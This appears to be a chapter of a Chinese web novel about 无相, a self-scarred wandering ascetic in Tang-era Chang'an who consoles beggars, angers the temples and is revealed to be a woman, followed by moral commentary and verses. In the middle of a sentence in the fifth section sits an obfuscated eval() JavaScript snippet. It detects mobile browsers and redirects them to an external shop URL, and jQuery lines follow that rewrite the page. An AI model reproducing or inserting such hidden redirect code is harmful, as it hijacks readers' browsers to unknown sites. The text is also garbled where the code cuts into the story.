楔子无头佛子
贞元三年春，长安西郊乱葬岗的野槐树上，倒挂了个“人”。
说“人”不像人，着百衲破衣，露出的皮肉满是疮痂。倒挂着，却还在打鼾，鼾声均匀，惊得老鸹不敢近前。更奇的是，此人无发，顶上有九个戒疤，新旧交错，像胡乱烙的。
卯时，樵夫王二路过，见树上挂人，以为吊死鬼，喊来地保。地保带人解下来，一探鼻息，还在喘气。摇醒，那人睁眼，眸子清亮如孩童，开口第一句：
“有粥么？饿了。”
一、 长安不受
这怪人自称“无相”，问来历，只笑：“从来处来。”问师承，摇头：“无师自通。”问欲往何处，指西：“有苦处去。”
地保见他痴傻，报官。长安府法曹参军李岩，是个较真的人，将无相带回衙门，细细盘问。
“你头上戒疤，何处受的？”
“自己烙的。”无相咧嘴，“烫一下，记一道苦。记了九道，够了。”
“胡闹！戒疤乃佛门大戒，岂可自烙？”
“佛在心，不在头。”无相摸疤，“世人烧香拜佛，是求佛免苦。我烙疤记苦，是怕忘了苦——忘了苦，怎知众生苦？”
李岩蹙眉：“你既是佛门中人，为何不去寺庙挂单？”
“去了，不让进。”无相从破袖中掏出几片烂菜叶，嚼着，“大慈恩寺说衣冠不整，荐福寺说无度牒，青龙寺说…说我太臭，熏了佛。”
“那你…”
“我在庙门口睡了三天。”无相笑，“饿了，有香客施半个馍；渴了，喝檐下雨。第三天，知客僧端盆水出来，说‘洗洗脚，莫污了佛地’。我洗了，他又说‘水要三文’。我没钱，便走了。”
李岩沉吟。他见过游方僧，多是落魄，但落魄至此还笑嘻嘻的，少见。
“你既无处可去，本官可荐你去城外小庙…”
“不去。”无相摆手，“庙里有佛，佛前有人。人在求佛，佛在收钱。我不求佛，佛不要我，正好。”
他起身，拍拍尘土：“大人若无事，我走了。城南有窝棚，昨夜听说死了个老丐，我去看看，帮他合眼。”
“你认得？”
“不认得。但死人要人送，活人要人看，都一样。”
言罢，摇摇晃晃出衙。李岩鬼使神差，换了便服，跟上去。
二、 窝棚送死
城南窝棚区，是长安最脏处。污水横流，臭气熏天。无相轻车熟路，钻进个半塌的草棚。棚里草席上，躺着个老丐，已僵了，眼还睁着。
无相蹲下，合上老丐眼皮，轻声念：“尘归尘，土归土，苦到头，便是福。”又从怀里掏出半块硬饼，掰碎，撒在老丐身上：“路上吃，别饿着。”
旁有乞丐嗤笑：“疯子！死人能吃饼？”
“活人给的，死人能收。”无相不恼，“就像庙里供果，佛吃不着，人吃了，也算功德。”
他起身，在棚外挖坑。土硬，手无工具，就用石块挖，指甲抠。李岩看不下去，递过短刀。无相接过，笑：“刀好。可惜只能挖土，不能挖苦。”
“苦如何挖？”
“苦在心里，得用心挖。”他边挖边说，“这人叫老倔，年轻时是石匠，修皇陵砸断了腿，工头不给治，赶出来。乞讨三十年，攒了三吊钱，想买副薄棺。前天钱被偷了，气死的。”
“你怎知？”
“昨夜我在这，他说的。”无相抹汗，“他说，不要棺了，曝尸荒野，让野狗吃，让官老爷看看，长安城还有这样死的人。”
坑挖好，无相将老倔拖入，掩土。无碑，插了根枯枝。他合十拜了拜，转身对围观的乞丐道：“谁还想死？我送。不要钱，只要句话——说说这辈子，最苦是什么，最甜是什么。”
乞丐们面面相觑。一瞎眼老妪颤巍巍道：“我…我说。最苦是眼瞎那年，儿媳妇把我赶出来，说‘老不死，浪费粮食’。最甜…是前天，有个小娘子给我半块糖糕，甜，真甜。”
“好。”无相点头，“苦记住了，甜也记住了。下辈子，若还能做人，多给人甜，少给人苦。”
他又问几人，答的五花八门：有苦是饿三天，甜是捡个肉包子；有苦是儿子战死，甜是梦见他回家；有苦是病不起，甜是昨夜无相给了碗热汤。
问完，无相对李岩道：“大人听见了？这便是长安。庙里的经，是讲极乐；这里的经，是讲活着。哪个是真经？”
李岩不答。他看见无相的手，挖土挖得鲜血淋漓，却还在笑。
三、 市井说法
无相在窝棚区住下了。白日捡烂菜叶，夜里睡草堆。渐渐，有乞丐找他“说法”。
不是说法，是说苦。说完了，无相有时回几句，有时只听着。说的都是大白话：
“你恨儿媳妇，是该恨。可恨久了，苦的是自己。不如当她是个讨债鬼，债还完了，就两清了。”
“你想儿子，是该想。可人死了，就像水泼出去，收不回。记得他的好，就是他在你心里还活着。”
“你病，是命，也得抗。抗不过，是命到头；抗过了，是命不该绝。别求神，神忙，顾不过来这么多苦命人。”
乞丐们听得懵懂，但觉舒坦。有病的，无相去野地拔些草根，捣烂敷上，竟也见好。问是什么药，他说：“心药。信则灵，不信则不灵。你信它能好，它就好些；你不信，它就是草。”
消息传开，有市井小民也来听。无相便在河边柳树下，摆个破蒲团，谁问都说。有问财运的，他说：“财是水，流来流去。你省一口，就有了；你贪一缸，就淹死了。”
有问姻缘的，他说：“姻缘是债，不是缘。欠债还债，还完了，就散了。若想不散，就多存点，别讨债。”
有问功名的，他大笑：“功名是梯子，有人上，有人下。爬得高，摔得狠；在低处，踏实。你看那树，高的招风，矮的安稳。”
话虽糙，理却透。来听的人越来越多，竟有书生记下来，取名《无相俗话》，暗中传抄。
这日，来了个绸缎商，姓周，捐了十两银，求问“家宅不宁，何以解”。
无相将银子还他：“买十石米，散给窝棚区，你的宅就宁了。”
“这…这是何道理？”
“你家财万贯，仆役成群，却夜夜惊醒，怕人偷，怕贼抢，怕买卖亏——这是心不宁。散些米，让人吃饱，你少些怕，他们多些暖，两下安宁。”无相道，“佛说布施，不是让你买心安，是让你见众生苦，知自己福，心自然安。”
周商人将信将疑，真买了米来散。散了三日，回来说：“奇了，这两夜，睡得踏实。”
无相笑：“不是米灵，是你心里那杆秤，平了。”
四、 佛道不容
无相的名声，终传到寺庙道观。
大慈恩寺首座觉明，亲自来“看看”。见柳树下围了数百人，无相坐破蒲团上，正说“佛是过来人，人是未来佛”，大怒：
“妖言惑众！佛岂是你能妄议的？”
无相睁眼：“大师，佛说众生平等。既是平等，为何你能说，我不能说？”
“你无度牒，非佛门中人！”
“佛门在哪？”无相指心，“在这。有门，是心门；无门，是执迷。大师守着庙门，我守着心门，哪个是佛门？”
觉明语塞，拂袖而去。次日，荐福寺、青龙寺、玄都观，各遣人来“劝诫”，说无相“谤佛毁道，扰乱民心”。
无相不争，只问：“我扰了谁？是扰了香客捐钱，还是扰了大师清修？”
来人说不出。便有官府衙役来驱赶，说“聚众滋事”。无相收拾破蒲团，对众人道：“散了，太阳落山，该吃饭了。”
他不走，仍在河边。夜里，有乞丐偷偷送吃食，他分给更饿的。三日后，觉明又至，这次带了本《金刚经》：
“你既说佛，可懂经？”
“不懂。”无相坦然，“但懂人。经是人写的，说人的理。人若苦，理再高，也无用。”
“狂妄！此乃佛陀亲说！”
“佛陀也是人。”无相道，“他见人间苦，才说法。若今日他见长安，见窝棚，见饿殍，他会说什么？是说‘一切有为法，如梦幻泡影’，还是说‘先给碗粥’？”
觉明气极，命小僧将无相绑了，要“押回寺中管教”。李岩赶来，亮出腰牌：“此人未犯律法，不得擅拘。”
“他谤佛！”
“谤佛不犯法，谤官才犯法。”李岩冷脸，“大师请回。”
觉明恨恨而去。当夜，无相栖身的草棚被烧。他不在，去给病丐采药了。回来见灰烬，笑笑，在灰堆旁睡了。
李岩次日来，见他满脸烟灰，叹道：“何必如此？我可荐你去乡下…”
“不去。”无相抹脸，“火是试金石，烧了草，烧不了心。他们容不下我，是因我说了真话——佛不要金，人要粥；道不要香，人要命。这话刺耳，刺得庙里的金身，都坐不住了。”
他望向城中，寺庙金顶在晨曦中闪光：“大人，你看那光，多亮。可照不到窝棚，照不到死人，照不到…人心里的暗处。”
李岩沉默。他忽然觉得，眼前这脏污的怪人，比满城高僧，更像尊佛。
五、 弥勒一笑
七月十五，中元节，鬼门开。长安有“放河灯”习俗，百姓扎灯放入渭水，祭亡魂。
这夜，渭河边人山人海。无相也来了，不扎灯，坐岸边看灯。灯如繁星，顺水流，映得水面一片暖黄。
忽有小儿落水，母亲惊呼。无相纵身跳下，将小儿托起，自己却被暗流卷走。众人惊呼，会水的下去救，捞起时，他已昏迷，手中还紧攥着小儿一只鞋。
抬到岸上，掐人中，泼水，良久，他咳出口污水，睁眼第一句：“孩儿…可好？”
小儿在母怀哭，他笑了。众人要抬他看郎中，他摆手：“不用，死不了。”
挣扎起身，浑身湿透，破衣贴在身上。有眼尖的惊呼：“他…他是女子！”
无相一僵。湿衣显出身形，虽瘦削，却有女子曲线。她低头，苦笑：“还是瞒不住。”
满场哗然。女子剃发，自烙戒疤，游方行乞…闻所未闻。
李岩拨开人群，凝视她：“你…究竟是？”
“无相。”她合
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088171|195403||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
十，“无男无女，无僧无俗，只是一个…见不得苦的人。”
“为何扮男？”
“女子行路难，女子说法更难。”她缓缓道，“我十三岁出家，因家贫，被卖入庵堂。庵里师太，收富户香火，逼小尼陪客。我逃出，自烙戒疤，扮作男僧，行走四方。见过真修行的，少；见假佛敛财的，多。于是发誓，要说真话，哪怕一句，有人听，也好。”
她咳嗽，血丝渗出口角。李岩急唤郎中。她摆手：“不用，时候到了。”
“什么时侯？”
“该走的时候。”她望向渭水，灯流渐远，“我本是无根萍，漂到哪，是哪。今日露相，长安容不下我了。也好，去别处，别处也有苦人。”
她起身，摇摇晃晃。有老妪递上干衣，有商人递上银两，有书生递上热汤。她只接了汤，喝了口，递还：“谢了，饱了。”
对众人合十：“诸位，今日见我真身，莫惊。佛本无相，何分男女？道本无形，何拘僧俗？我走啦，有缘再见。”
她赤足，沿河往西走。人群自动分道，无人拦。
李岩追了几步：“你去何处？”
“从来处来，往去处去。”她不回头，摆摆手。
背影渐小，融入夜色。河灯点点，像为她照路。
尾声长安余响
无相走了，长安的议论，却未停。
有人说她是妖，有人说她是菩萨示现。大慈恩寺出了告示，说“此乃妖人，佛门已除其名”。可窝棚区的乞丐，夜夜在河边烧纸，说“祭无相师父”。
一月后，有游商说，在洛阳见一无发女子，在灾民中施粥。又一月，有兵卒说，在边关见一女子，为伤兵裹伤。再一月，有渔夫说，在江南见一女子，教孩童识字，分文不取。
是不是无相，无人知。但长安的寺庙，悄悄有了变化。
大慈恩寺在门外设了粥棚，三日一次。荐福寺开了义诊，免费施药。青龙寺的知客僧，不再驱赶乞丐，允他们在檐下避雨。
李岩将无相之事，写成奏章。皇帝御批四字：
“有相无相，皆在人心。”
未褒未贬，但各寺方丈，都读出了冷汗。
贞元五年冬，渭河结冰。有孩童在冰上玩耍，捡到个油布包。打开，是卷手抄经，字迹歪斜，却力透纸背。首句：
“佛不在西天，在饿者得食时；
道不在深山，在病者得医处。
经不必念，行便是经；
咒不必持，善便是咒。
若问我是谁，
我是无名人，
说些有用话，
做点实在事。”
末无署名，只画了个圆圈，似日似月，似心似空。
孩童交给李岩。李岩捧经，良久，悬于书房。
每逢有僧道来论法，他便指此经：“先读此经，再谈佛法。”
僧道读罢，多掩面而去。
从此，长安再无“无相”。
但渭水夜夜流，河灯年年放。
放灯时，总有老人对孩子说：
“从前啊，有个无相师父，说佛是热的，道是暖的，人是苦的，心是善的…”
孩子问：“后来呢？”
“后来啊，”老人望向西天，“她变成了一盏灯，在夜里，给迷路的人，照个亮。”
孩子似懂非懂，将手中灯，轻轻推入水中。
灯晃晃悠悠，流向远方。
流向每一个，需要光的，角落。
本章诫世
一、 无相行脚之镜
- 以无度牒、无寺庙、无姓名的“三无”行者，对照体制化宗教
- 破解法：凡标榜“正统”者，必察其实行；凡排斥“异端”者，必思其心虚
- 示例：自烙戒疤、窝棚说法、拒入寺庙
二、 女身说法之悖
- 女性需扮男装方能行脚说法，揭露宗教性别壁垒
- 惕世：当制度排斥女性，真知可能以伪装现世
- 反思：宗教平等口号下的性别现实
三、 俗话真经之照
- 《无相俗话》对照藏经阁典籍，显“有用”与“无用”之别
- 深层隐喻：真理在民间疾苦中，不在殿堂经卷里
- 终极质问：渡人的是经文，还是热汤？
行脚偈：
无相无名无度牒，有疮有疤有热血。
不求金殿一炷香，但施窝棚半碗粥。
佛道不容真行者，市井偏传有用诀。
莫问菩萨何处去，渭水灯流夜未歇。
后世叹：
贞元三年春尚寒，乱葬岗上倒挂禅。
自烙戒疤记世苦，遍行市井说人难。
河灯照出女儿相，渭水流尽众生叹。
莫道长安无真佛，真佛原不坐金坛。
正是：
长安城外柳絮飞，无相行脚破衲衣。
自烙戒疤九点痛，遍尝世味一味悲。
佛道难容真行者，市井偏传俗话稀。
莫问菩萨归何处，河灯夜夜照人归。